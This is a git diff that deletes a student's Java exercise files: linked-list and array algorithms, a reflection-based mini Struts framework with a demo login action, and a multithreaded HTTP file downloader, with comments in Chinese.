-	}
-
-	/**
-	 * 删除一个单链表的前半部分
-	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
-	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
-
-	 */
-	public void removeFirstHalf(){
-        if(this.head == null || this.head.next == null){
-            return;
-        }
-        if(this.head.next.next == null){
-            this.head = this.head.next;
-        }
-
-        Node stepOne = this.head;
-        Node stepTwo = this.head;
-
-        while (stepTwo.next != null){
-            stepOne = stepOne.next;
-            stepTwo = stepTwo.next.next;
-        }
-        this.head = stepOne;
-	}
-
-	/**
-	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
-	 * @param i
-	 * @param length
-	 */
-	public void remove(int i, int length){
-        Node current = head;
-        Node firstHalf = null;
-        for (int k = 0; k < i; k ++){
-            if(current == null){
-                return;
-            }
-            firstHalf = current;  //记录待删除节点的前一个节点
-            current = current.next;
-        }
-
-        //移动length长度
-        for (int j = 0; j < length; j++) {
-            if(current == null){
-                return;
-            }
-            current = current.next;
-        }
-
-        if(i == 0){
-            head = current;
-        }else {
-            firstHalf.next = current;
-        }
-    }
-	/**
-	 * 假定当前链表和list均包含已升序排列的整数
-	 * 从当前链表中取出那些list所指定的元素
-	 * 例如当前链表 = 11->101->201->301->401->501->601->701
-	 * listB = 1->3->4->6
-	 * 返回的结果应该是[101,301,401,601]
-	 * @param list
-	 */
-	public static int[] getElements(LinkedList list){
-		return null;
-	}
-
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 从当前链表中中删除在list中出现的元素
-
-	 * @param list
-	 */
-
-	public  void subtract(LinkedList list){
-
-	}
-
-	/**
-	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
-	 */
-	public void removeDuplicateValues(){
-        if(this.head == null){
-            return;
-        }
-        Node current = this.head;
-        Node current_next = this.head;
-        while (current_next != null){
-            current_next = current_next.next; //如果放到下个while循环后面写，就需要判断一次current_next是不是null了
-            while(current_next != null && current_next.data.equals(current.data)){
-                //删除重复节点
-                current.next = current_next.next;
-                current_next = current_next.next;
-            }
-            current = current_next;
-        }
-	}
-
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
-	 * @param min
-	 * @param max
-	 */
-	public  void removeRange(int min, int max){
-        //怎么才能高效呢
-	}
-
-	/**
-	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
-	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
-	 * @param list
-	 */
-	public  LinkedList intersection( LinkedList list){
-		return null;
-	}
-
-    /**
-     * 遍历列表
-     */
-    public void printList(){
-        System.out.println();
-        for (Node cursor = this.head;cursor!=null;cursor=cursor.next){
-            System.out.print(cursor.data+" ");
-        }
-    }
-}
diff --git a/group23/769232552/coding/src/main/java/code01/List.java b/group23/769232552/coding/src/main/java/code01/List.java
deleted file mode 100644
index 95bc37d172..0000000000
--- a/group23/769232552/coding/src/main/java/code01/List.java
+++ /dev/null
@@ -1,9 +0,0 @@
-package code01;
-
-public interface List {
-	public void add(Object o);
-	public void add(int index, Object o);
-	public Object get(int index);
-	public Object remove(int index);
-	public int size();
-}
diff --git a/group23/769232552/coding/src/main/java/code01/Queue.java b/group23/769232552/coding/src/main/java/code01/Queue.java
deleted file mode 100644
index d9956deb9a..0000000000
--- a/group23/769232552/coding/src/main/java/code01/Queue.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package code01;
-
-public class Queue {
-
-	private LinkedList linkedList = new LinkedList();
-
-	public void enQueue(Object o){
-		linkedList.addFirst(o);
-	}
-	
-	public Object deQueue(){
-		Object result = linkedList.removeLast();
-		return result;
-	}
-	
-	public boolean isEmpty(){
-		return linkedList.size() == 0;
-	}
-	
-	public int size(){
-		return linkedList.size();
-	}
-
-}
diff --git a/group23/769232552/coding/src/main/java/code01/Stack.java b/group23/769232552/coding/src/main/java/code01/Stack.java
deleted file mode 100644
index dbaeb91a48..0000000000
--- a/group23/769232552/coding/src/main/java/code01/Stack.java
+++ /dev/null
@@ -1,31 +0,0 @@
-package code01;
-
-public class Stack {
-	private ArrayList elementData = new ArrayList();
-	
-	public void push(Object o){
-		elementData.add(o);
-	}
-	
-	public Object pop(){
-		Object result = null;
-		if(elementData.size()!=0) {
-			result = elementData.remove(elementData.size() - 1);
-		}
-		return result;
-	}
-	
-	public Object peek(){
-		Object result = null;
-		if(elementData.size()!=0) {
-			result = elementData.get(elementData.size() - 1);
-		}
-		return result;
-	}
-	public boolean isEmpty(){
-		return elementData.size() == 0;
-	}
-	public int size(){
-		return elementData.size();
-	}
-}
diff --git a/group23/769232552/coding/src/main/java/code02/ArrayUtil.java b/group23/769232552/coding/src/main/java/code02/ArrayUtil.java
deleted file mode 100644
index 23055ef138..0000000000
--- a/group23/769232552/coding/src/main/java/code02/ArrayUtil.java
+++ /dev/null
@@ -1,257 +0,0 @@
-package code02;
-import org.apache.commons.lang.ArrayUtils;
-import java.util.ArrayList;
-import java.util.List;
-
-public class ArrayUtil {
-	
-	/**
-	 * 给定一个整形数组a , 对该数组的值进行置换
-		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
-		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
-	 * @param origin
-	 * @return
-	 */
-	public void reverseArray(int[] origin){
-		if (origin == null || origin.length <= 1){
-			return;
-		}
-
-		int head = 0;
-		int tail = origin.length - 1;
-		int tmp;
-		while (head != tail){
-			//调换位置
-			tmp = origin[head];
-			origin[head] = origin[tail];
-			origin[tail] = tmp;
-
-            head ++;
-            tail --;
-		}
-
-	}
-	
-	/**
-	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
-	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
-	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
-	 * @param oldArray
-	 * @return
-	 */
-	public int[] removeZero(int[] oldArray){
-		if (oldArray == null || oldArray.length < 1){
-			return null;
-		}
-
-		List<Integer> newList = new ArrayList<Integer>();
-		for(int number : oldArray){
-			if(number != 0){
-				newList.add(number);
-			}
-		}
-
-        Integer[] result = new Integer[newList.size()];
-        result = (Integer[]) newList.toArray(result);
-        return ArrayUtils.toPrimitive(result);
-
-
-	}
-	
-	/**
-	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
-	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
-	 * @param array1
-	 * @param array2
-	 * @return
-	 */
-	
-	public int[] merge(int[] array1, int[] array2){
-        if(array1 == null && array2 == null){
-            return null;
-        }
-        if(array1 == null){
-            return array2;
-        }
-        if(array2 == null){
-            return array1;
-        }
-        int[] newArray = new int[array1.length + array2.length];
-        int m = 0,n = 0, k = 0;
-        while (m < array1.length && n < array2.length){
-            if(array1[m] <= array2[n]){
-                newArray[k++] = array1[m++];
-            }else {
-                newArray[k++] = array2[n++];
-            }
-        }
-        if(m >= array1.length){
-            while (n < array2.length){
-                newArray[k++] = array2[n++];
-            }
-        }
-        if(n >= array2.length){
-            while (m < array1.length){
-                newArray[k++] = array1[m++];
-            }
-        }
-		return  newArray;
-	}
-	/**
-	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
-	 * 注意，老数组的元素在新数组中需要保持
-	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
-	 * [2,3,6,0,0,0]
-	 * @param oldArray
-	 * @param size
-	 * @return
-	 */
-	public int[] grow(int [] oldArray,  int size){
-        int[] newArray = new int[oldArray.length + size];
-        int i = 0;
-        for (; i < oldArray.length; i++) {
-            newArray[i] = oldArray[i];
-        }
-        for (int j = 0; j < size; j++){
-            newArray[i++] = 0;
-        }
-        return newArray;
-	}
-	
-	/**
-	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
-	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
-	 * max = 1, 则返回空数组 []
-	 * @param max
-	 * @return
-	 */
-    //也就是需要生成一个小于max值的fibonacci数组
-	public int[] fibonacci(int max){
-        if(max < 2){
-            return new int[]{};
-        }
-        if(max < 3){
-            return new int[]{1,1};
-        }
-        List<Integer> list = new ArrayList<Integer>();
-        list.add(0,1);
-        list.add(1,1);
-        int i=0;
-        while (list.get(i) + list.get(i+1) < max){
-            list.add(i+2,list.get(i) + list.get(i+1));
-            i++;
-        }
-
-        int[] newArray = new int[list.size()];
-        for (int j = 0; j < list.size(); j++) {
-            newArray[j] = list.get(j).intValue();
-        }
-        return newArray;
-	}
-	
-	/**
-	 * 返回小于给定最大值max的所有素数数组
-	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
-	 * @param max
-	 * @return
-     *
-     * 原理：
-     * １，判断一个数字是否为素数，一个数 n 如果是合数，那么它的所有的因子不超过sqrt(n)
-     * ２，当i是素数的时候，i的所有的倍数必然是合数。
-	 */
-	public int[] getPrimes(int max){
-
-        if(max <= 2){
-            return null;
-        }
-        boolean[] prime = new boolean[max + 1];
-        for (int i = 2; i <= max; i++) {
-            if(i%2 == 0){
-                prime[i] = false; //偶数
-            }else {
-                prime[i] = true;
-            }
-        }
-
-        for (int i = 2; i <= Math.sqrt(max) ; i++) {
-            if(prime[i]){//奇数
-                //如果i是素数，那么把i的倍数标记为非素数
-                for(int j = i+i; j <= max; j += i){
-                    prime[j] = false;
-                }
-            }
-        }
-
-        List num = new ArrayList<Integer>();
-        for (int i = 2; i <= max; i++) {
-            if(prime[i]){
-                num.add(i);
-            }
-        }
-
-        Integer[] result = new Integer[num.size()];
-        result = (Integer[]) num.toArray(result);
-        return ArrayUtils.toPrimitive(result);
-	}
-	
-	/**
-	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
-	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
-	 * @param max
-	 * @return
-	 */
-	public int[] getPerfectNumbers(int max){
-
-        if(max < 6){
-            return null;
-        }
-
-        List<Integer> perfectNumlist = new ArrayList<Integer>();
-
-        for (int j = 6;j <= max; j++){
-            List<Integer> factorNumlist = new ArrayList<Integer>();
-            factorNumlist.add(1);
-            for (int i = 2; i < j; i++) {
-                if(j % i == 0){
-                    factorNumlist.add(i);
-                }
-            }
-            int sum = 0;
-            for(Integer num : factorNumlist){
-                sum += num;
-            }
-
-            if(sum == j){
-                perfectNumlist.add(j);
-            }
-        }
-        Integer[] result = new Integer[perfectNumlist.size()];
-        result = (Integer[]) perfectNumlist.toArray(result);
-        return ArrayUtils.toPrimitive(result);
-	}
-	
-	/**
-	 * 用seperator 把数组 array给连接起来
-	 * 例如array= [3,8,9], seperator = "-"
-	 * 则返回值为"3-8-9"
-	 * @param array
-	 * @param seperator
-	 * @return
-	 */
-	public String join(int[] array, String seperator){
-        StringBuilder sb = new StringBuilder();
-        for (int i = 0; i < array.length - 1; i++) {
-            sb.append(array[i]);
-            sb.append(seperator);
-        }
-        sb.append(array[array.length - 1]);
-        return sb.toString();
-	}
-
-    public void printArr(int[] array){
-        for(int num : array){
-            System.out.print(num + " ");
-        }
-    }
-
-}
diff --git a/group23/769232552/coding/src/main/java/code02/litestruts/ActionConfig.java b/group23/769232552/coding/src/main/java/code02/litestruts/ActionConfig.java
deleted file mode 100644
index b5e077e7a5..0000000000
--- a/group23/769232552/coding/src/main/java/code02/litestruts/ActionConfig.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package code02.litestruts;
-
-import java.util.HashMap;
-import java.util.Map;
-
-/**
- * Created by yaoyuan on 2017/3/22.
- */
-public class ActionConfig {
-    String name;
-    String clzName;
-    Map<String,String> viewResult = new HashMap<String,String>();
-
-
-    public ActionConfig(String actionName, String clzName) {
-        this.name = actionName;
-        this.clzName = clzName;
-    }
-    public String getClassName(){
-        return clzName;
-    }
-    public void addViewResult(String name, String viewName){
-        viewResult.put(name, viewName);
-    }
-    public String getViewName(String resultName){
-        return viewResult.get(resultName);
-    }
-}
diff --git a/group23/769232552/coding/src/main/java/code02/litestruts/Configuration.java b/group23/769232552/coding/src/main/java/code02/litestruts/Configuration.java
deleted file mode 100644
index 85d3d98a1f..0000000000
--- a/group23/769232552/coding/src/main/java/code02/litestruts/Configuration.java
+++ /dev/null
@@ -1,64 +0,0 @@
-package code02.litestruts;
-
-import org.dom4j.Document;
-import org.dom4j.DocumentException;
-import org.dom4j.Element;
-import org.dom4j.io.SAXReader;
-
-import java.io.File;
-import java.util.HashMap;
-import java.util.Iterator;
-import java.util.Map;
-
-/**
- * Created by yaoyuan on 2017/3/21.
- */
-public class Configuration {
-
-
-    private String path;
-    private final Map<String, ActionConfig> actionMap = new HashMap<String, ActionConfig>();
-
-    Configuration(String path){
-        parseXML(path);
-    }
-
-    //解析xml文件
-    private void parseXML(String path){
-        //读取文件
-        File file = new File(path);
-        SAXReader reader = new SAXReader();
-        Document document = null;
-        try {
-            document = reader.read(file);
-        } catch (DocumentException e) {
-            e.printStackTrace();
-        }
-        Element root = document.getRootElement();
-
-        for (Iterator<Element> iterator = root.elementIterator("action"); iterator.hasNext();) {
-            Element e = iterator.next();
-            String actionName = e.attributeValue("name");
-            String clazName = e.attributeValue("class");
-            ActionConfig actionConfig = new ActionConfig(actionName,clazName);
-            for(Iterator<Element> childIterator = e.elementIterator();childIterator.hasNext();){
-                Element child = childIterator.next();
-                String jspKey = child.attributeValue("name");
-                String jspValue = child.getTextTrim();
-                actionConfig.addViewResult(jspKey,jspValue);
-            }
-            actionMap.put(actionName,actionConfig);
-        }
-    }
-
-    public String getView(String actionName, String result){
-        String jspKey = actionName + "." + result;
-        return actionMap.get(actionName).getViewName(result);
-    }
-
-
-    public Map<String, ActionConfig> getActionMap() {
-        return actionMap;
-    }
-
-}
diff --git a/group23/769232552/coding/src/main/java/code02/litestruts/LoginAction.java b/group23/769232552/coding/src/main/java/code02/litestruts/LoginAction.java
deleted file mode 100644
index 0799eae71a..0000000000
--- a/group23/769232552/coding/src/main/java/code02/litestruts/LoginAction.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package code02.litestruts;
-
-/**
- * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
- * @author liuxin
- *
- */
-public class LoginAction{
-    private String name ;
-    private String password;
-    private String message;
-
-    public String getName() {
-        return name;
-    }
-
-    public String getPassword() {
-        return password;
-    }
-
-    public String execute(){
-        if("test".equals(name) && "1234".equals(password)){
-            this.message = "login successful";
-            return "success";
-        }
-        this.message = "login failed,please check your user/pwd";
-        return "fail";
-    }
-
-    public void setName(String name){
-        this.name = name;
-    }
-    public void setPassword(String password){
-        this.password = password;
-    }
-    public String getMessage(){
-        return this.message;
-    }
-}
diff --git a/group23/769232552/coding/src/main/java/code02/litestruts/ReflectionUtil.java b/group23/769232552/coding/src/main/java/code02/litestruts/ReflectionUtil.java
deleted file mode 100644
index 2a499f104b..0000000000
--- a/group23/769232552/coding/src/main/java/code02/litestruts/ReflectionUtil.java
+++ /dev/null
@@ -1,119 +0,0 @@
-package code02.litestruts;
-
-import org.slf4j.LoggerFactory;
-
-import java.lang.reflect.InvocationTargetException;
-import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-/**
- * Created by yaoyuan on 2017/3/21.
- */
-public class ReflectionUtil {
-    private static final org.slf4j.Logger logger = LoggerFactory.getLogger(ReflectionUtil.class);
-
-    private static final Map<String, Class<?>> clazzMap = new HashMap<String, Class<?>>();
-
-    //加载xml文件中的类
-    public void initiateClazz(Configuration cfg){
-        Map<String, ActionConfig> actionMap = cfg.getActionMap();
-
-        for (Map.Entry<String, ActionConfig> entry : actionMap.entrySet()) {
-            String actionName = entry.getKey(); //login
-            ActionConfig actionConfig =entry.getValue();
-            String className = actionConfig.getClassName(); //code02.litestruts.LoginAction
-            Class<?> cls;
-            try {
-                cls = Class.forName(className, true, Thread.currentThread().getContextClassLoader());
-                clazzMap.put(actionName,cls);
-            } catch (Exception e) {
-                logger.warn("加载类 " + className + "出错！");
-            }
-        }
-    }
-
-
-    //返回实例对象
-    public Object getInstance(String actionName){
-        Object instance = null;
-        for (Map.Entry<String, Class<?>> entry : clazzMap.entrySet()) {
-            String action = entry.getKey(); //login
-            Class<?> cls = entry.getValue(); //code02.litestruts.LoginAction.class
-            if(actionName.equals(action)){
-                try {
-                    instance = cls.newInstance();
-                } catch (Exception e) {
-                    logger.error("生成实例出错！", e);
-                    throw new RuntimeException(e);
-                }
-            }
-        }
-        return instance;
-    }
-
-
-    //参数赋值
-    public void setParameters(Object o, Map<String, String> params) {
-
-        List<Method> methods = getSetterMethods(o.getClass());
-        for (String name : params.keySet()) {
-            String methodName = "set" + name;
-            for (Method m : methods) {
-                if (m.getName().equalsIgnoreCase(methodName)) {
-                    try {
-                        m.invoke(o, params.get(name));
-                    } catch (InvocationTargetException e) {
-                        e.printStackTrace();
-                    } catch (IllegalAccessException e) {
-                        e.printStackTrace();
-                    }
-                }
-            }
-        }
-    }
-
-    //运行无参方法
-    public Object runMethodWithoutParams(Object o , String methodName){
-        Class<?> clz = o.getClass();
-        Object result = null;
-        try {
-            Method method = clz.getDeclaredMethod(methodName);
-            try {
-                result = method.invoke(o);
-            } catch (IllegalAccessException e) {
-                e.printStackTrace();
-            } catch (InvocationTargetException e) {
-                e.printStackTrace();
-            }
-        } catch (NoSuchMethodException e) {
-            e.printStackTrace();
-        }
-        return result;
-    }
-
-    //返回以set开头的方法
-    public List<Method> getSetterMethods(Object o){
-        return getMethods(o.getClass(),"set");
-    }
-
-    //返回以get开头的方法
-    public List<Method> getGetterMethods(Object o){
-        return getMethods(o.getClass(),"get");
-    }
-
-    private List<Method> getMethods(Class<?> clz, String startWithName){
-        List<Method> methodsList = new ArrayList<Method>();
-        Method[] methods = clz.getDeclaredMethods();
-        for (int i = 0; i < methods.length; i++) {
-            String methodName = methods[i].getName();
-            if(methodName.startsWith(startWithName)){
-                methodsList.add(methods[i]);
-            }
-        }
-        return methodsList;
-    }
-
-}
diff --git a/group23/769232552/coding/src/main/java/code02/litestruts/Struts.java b/group23/769232552/coding/src/main/java/code02/litestruts/Struts.java
deleted file mode 100644
index b954f25bd5..0000000000
--- a/group23/769232552/coding/src/main/java/code02/litestruts/Struts.java
+++ /dev/null
@@ -1,76 +0,0 @@
-package code02.litestruts;
-
-import org.slf4j.LoggerFactory;
-
-import java.lang.reflect.InvocationTargetException;
-import java.lang.reflect.Method;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-
-public class Struts {
-    private static final org.slf4j.Logger logger = LoggerFactory.getLogger(Struts.class);
-    /*
-      0. 读取配置文件struts.xml
-
-       1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
-      据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是
-      ("name"="test" ,  "password"="1234") ,
-      那就应该调用 setName和setPassword方法
-
-
-
-
-  */
-    public static View runAction(String actionName, Map<String, String> parameters)  {
-        View view = new View();
-        Configuration cfg = new Configuration("src/main/resources/struts.xml");
-        ReflectionUtil reflectionUtil = new ReflectionUtil();
-        reflectionUtil.initiateClazz(cfg);
-       /* 1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）*/
-        Object o = reflectionUtil.getInstance(actionName);
-        /*2. 根据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是
-            ("name"="test" ,  "password"="1234") ,那就应该调用 setName和setPassword方法*/
-        reflectionUtil.setParameters(o,parameters);
-        /*3. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"*/
-        String result = (String) reflectionUtil.runMethodWithoutParams(o,"execute");
-       /* 4. 通过反射找到对象的所有getter方法（例如 getMessage）,通过反射来调用，
-       把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,放到View对象的parameters*/
-        Map params = new HashMap<String, String>();
-        List<Method> methods = reflectionUtil.getGetterMethods(o);
-        for(Method method : methods){
-            String key = method.getName().substring(3);
-            String value = null;
-            try {
-                value = (String) method.invoke(o);
-            } catch (IllegalAccessException e) {
-                e.printStackTrace();
-            } catch (InvocationTargetException e) {
-                e.printStackTrace();
-            }
-            params.put(key,value);
-        }
-        /*5. 根据struts.xml中的 <result> 配置,以及execute的返回值，确定哪一个jsp，放到View对象的jsp字段中。*/
-        String jsp = cfg.getView(actionName,result);
-        view.setParameters(params);
-        view.setJsp(jsp);
-
-        return view;
-    }
-
-    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException {
-
-        String actionName = "login";
-        HashMap<String,String> params = new HashMap<String, String>();
-        params.put("name","test");
-        params.put("password","12345");
-
-        View view = Struts.runAction(actionName,params);
-        System.out.println(view.getJsp());
-        System.out.println(view.getParameters());
-
-
-    }
-
-}
diff --git a/group23/769232552/coding/src/main/java/code02/litestruts/View.java b/group23/769232552/coding/src/main/java/code02/litestruts/View.java
deleted file mode 100644
index c7e630587c..0000000000
--- a/group23/769232552/coding/src/main/java/code02/litestruts/View.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package code02.litestruts;
-
-import java.util.Map;
-
-public class View {
-	private String jsp;
-	private Map parameters;
-	
-	public String getJsp() {
-		return jsp;
-	}
-	public View setJsp(String jsp) {
-		this.jsp = jsp;
-		return this;
-	}
-	public Map getParameters() {
-		return parameters;
-	}
-	public View setParameters(Map parameters) {
-		this.parameters = parameters;
-		return this;
-	}
-}
diff --git a/group23/769232552/coding/src/main/java/code03/DownloadThread.java b/group23/769232552/coding/src/main/java/code03/DownloadThread.java
deleted file mode 100644
index 7bf8a8e765..0000000000
--- a/group23/769232552/coding/src/main/java/code03/DownloadThread.java
+++ /dev/null
@@ -1,47 +0,0 @@
-package code03;
-
-import code03.api.Connection;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-
-import java.io.*;
-
-/**
- * 定义线程类
- */
-
-
-public class DownloadThread extends Thread{
-
-	private static final Logger logger = LoggerFactory.getLogger(DownloadThread.class);
-
-	private Connection conn;
-	private int startPos;
-	private int endPos;
-	private static final String fileName = "D://test.png";
-
-
-	public DownloadThread(Connection conn, int startPos, int endPos){
-		this.conn = conn;
-		this.startPos = startPos;
-		this.endPos = endPos;
-	}
-
-	@Override
-	public void run(){
-		logger.debug("thread {} begin to download from start {} to end {} ",Thread.currentThread().getName(),startPos,endPos);
-
-		try {
-			byte[] data = conn.read(startPos,endPos);
-			RandomAccessFile rfile = new RandomAccessFile(fileName,"rw");
-			rfile.seek(startPos);
-			rfile.write(data,0,data.length);
-			rfile.close();
-		} catch (IOException e) {
-			e.printStackTrace();
-		}
-		logger.debug("thread {} end to download from start {} to end {} ",Thread.currentThread().getName(),startPos,endPos);
-
-
-	}
-}
diff --git a/group23/769232552/coding/src/main/java/code03/FileDownloader.java b/group23/769232552/coding/src/main/java/code03/FileDownloader.java
deleted file mode 100644
index 6814c49f9c..0000000000
--- a/group23/769232552/coding/src/main/java/code03/FileDownloader.java
+++ /dev/null
@@ -1,109 +0,0 @@
-package code03;
-
-import code03.api.Connection;
-import code03.api.ConnectionException;
-import code03.api.ConnectionManager;
-import code03.api.DownloadListener;
-import code03.impl.ConnectionManagerImpl;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * 线程启动类
- */
-
-public class FileDownloader {
-	
-	private String url;
-	private DownloadListener listener;
-	private ConnectionManager cm;
-	private static boolean downloadFinished = false;
-
-	private final static int THREAD_NUM = 5;
-
-	public FileDownloader(String _url) {
-		this.url = _url;
-	}
-
-	/*
-	(1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
-	(2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
-	     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。*/
-	public void execute(){
-		Connection conn = null;
-		try {
-			//启动线程
-			int startPos = 0, endPos = 0;
-			List<Thread> threads = new ArrayList<Thread>();
-			for (int i = 0; i < THREAD_NUM; i++) {
-				conn = cm.open(this.url); //每次都要重新获取一个connection.imputstream
-				int length = conn.getContentLength();
-				startPos = length/THREAD_NUM *  i;
-				endPos = length/THREAD_NUM * (i + 1)- 1;
-				DownloadThread downloadThread = new DownloadThread(conn,startPos,endPos);
-				threads.add(downloadThread);
-				downloadThread.start();
-			}
-
-			//调用join方法，确保所有线程的工作已经完成
-			for (int i = 0; i < THREAD_NUM; i++) {
-				try {
-					threads.get(i).join();
-				} catch (InterruptedException e) {
-					e.printStackTrace();
-				}
-			}
-			listener.notifyFinished();
-		} catch (ConnectionException e) {
-			e.printStackTrace();
-		} finally {
-			if(conn != null){
-				conn.close();
-			}
-		}
-	}
-	
-	public void setListener(DownloadListener listener) {
-		this.listener = listener;
-	}
-
-	public void setConnectionManager(ConnectionManager ucm){
-		this.cm = ucm;
-	}
-	
-	public DownloadListener getListener(){
-		return this.listener;
-	}
-
-
-	public static void main(String[] args) {
-
-		String url = "http://litten.me/assets/blogImg/litten.png";
-		FileDownloader fileDownloader = new FileDownloader(url);
-		ConnectionManager cm = new ConnectionManagerImpl();
-		fileDownloader.setListener(new DownloadListener() {
-			@Override
-			public void notifyFinished() {
-				downloadFinished = true;
-			}
-		});
-		fileDownloader.setConnectionManager(cm);
-		fileDownloader.execute();
-
-
-		while (!downloadFinished){
-			try {
-				System.out.println("还没有下载完成，休眠五秒");
-				//休眠5秒
-				Thread.sleep(5000);
-			} catch (InterruptedException e) {
-				e.printStackTrace();
-			}
-		}
-		System.out.println("download finished ! ");
-
-
-	}
-	
-}
diff --git a/group23/769232552/coding/src/main/java/code03/api/Connection.java b/group23/769232552/coding/src/main/java/code03/api/Connection.java
deleted file mode 100644
index 1f2e4e1d39..0000000000
--- a/group23/769232552/coding/src/main/java/code03/api/Connection.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package code03.api;
-
-import java.io.IOException;
-
-public interface Connection {
-	/**
-	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
-	 * @param startPos 开始位置， 从0开始
-	 * @param endPos 结束位置
-	 * @return
-	 */
-	public byte[] read(int startPos,int endPos) throws IOException;
-	/**
-	 * 得到数据内容的长度
-	 * @return
-	 */
-	public int getContentLength();
-	
-	/**
-	 * 关闭连接
-	 */
-	public void close();
-}
diff --git a/group23/769232552/coding/src/main/java/code03/api/ConnectionException.java b/group23/769232552/coding/src/main/java/code03/api/ConnectionException.java
deleted file mode 100644
index 77e886e987..0000000000
--- a/group23/769232552/coding/src/main/java/code03/api/ConnectionException.java
+++ /dev/null
@@ -1,9 +0,0 @@
-package code03.api;
-
-public class ConnectionException extends Exception {
-
-    public ConnectionException(String message,Throwable e){
-        super(message,e);
-    }
-
-}
diff --git a/group23/769232552/coding/src/main/java/code03/api/ConnectionManager.java b/group23/769232552/coding/src/main/java/code03/api/ConnectionManager.java
deleted file mode 100644
index 4cbd46445a..0000000000
--- a/group23/769232552/coding/src/main/java/code03/api/ConnectionManager.java
+++ /dev/null
@@ -1,10 +0,0 @@
-package code03.api;
-
-public interface ConnectionManager {
-	/**
-	 * 给定一个url , 打开一个连接
-	 * @param url
-	 * @return
-	 */
-	public Connection open(String url) throws ConnectionException;	
-}
diff --git a/group23/769232552/coding/src/main/java/code03/api/DownloadListener.java b/group23/769232552/coding/src/main/java/code03/api/DownloadListener.java
deleted file mode 100644
index f5e7e146a7..0000000000
--- a/group23/769232552/coding/src/main/java/code03/api/DownloadListener.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package code03.api;
-
-public interface DownloadListener {
-	public void notifyFinished();
-}
diff --git a/group23/769232552/coding/src/main/java/code03/impl/ConnectionImpl.java b/group23/769232552/coding/src/main/java/code03/impl/ConnectionImpl.java
deleted file mode 100644
index ce69eceb99..0000000000
--- a/group23/769232552/coding/src/main/java/code03/impl/ConnectionImpl.java
+++ /dev/null
@@ -1,106 +0,0 @@
-package code03.impl;
-
-import code03.api.Connection;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-
-import java.io.BufferedInputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.net.URLConnection;
-
-
-public class ConnectionImpl implements Connection{
-
-	private static final Logger logger = LoggerFactory.getLogger(ConnectionImpl.class);
-
-
-	private URLConnection urlConnection;
-	private int length = -1;
-
-	public ConnectionImpl(URLConnection urlConnection){
-		this.urlConnection  = urlConnection;
-	}
-
-	/**
-	 * 读取urlConnection.getInputStream()中的数据，返回byte[]
-	 */
-	@Override
-	public byte[] read(int startPos, int endPos) throws IOException {
-		int contentLength = getContentLength();
-		if(startPos < 0 || endPos > contentLength || contentLength <= 0){
-			logger.info("index out of range !");
-			return null;
-		}
-
-		InputStream raw = null;
-		BufferedInputStream in = null;
-		int size = endPos - startPos + 1;
-		byte[] data = new byte[size];
-		try{
-			raw = urlConnection.getInputStream();
-			in = new BufferedInputStream(raw);
-			in.skip(startPos);
-
-			int offset = 0;
-			while(offset < size){
-				int bytesRead = in.read(data, offset, size - offset);
-				while (bytesRead  == -1){break;}
-				offset += bytesRead;
-			}
-		} catch (IOException e) {
-			e.printStackTrace();
-		}finally {
-			raw.close();
-			in.close();
-		}
-		return data;
-	}
-
-	@Override
-	public int getContentLength() {
-		if(length != -1){
-			return length;
-		}
-		length = urlConnection.getContentLength();
-
-		//if without content-length header
-		if(length == -1) {
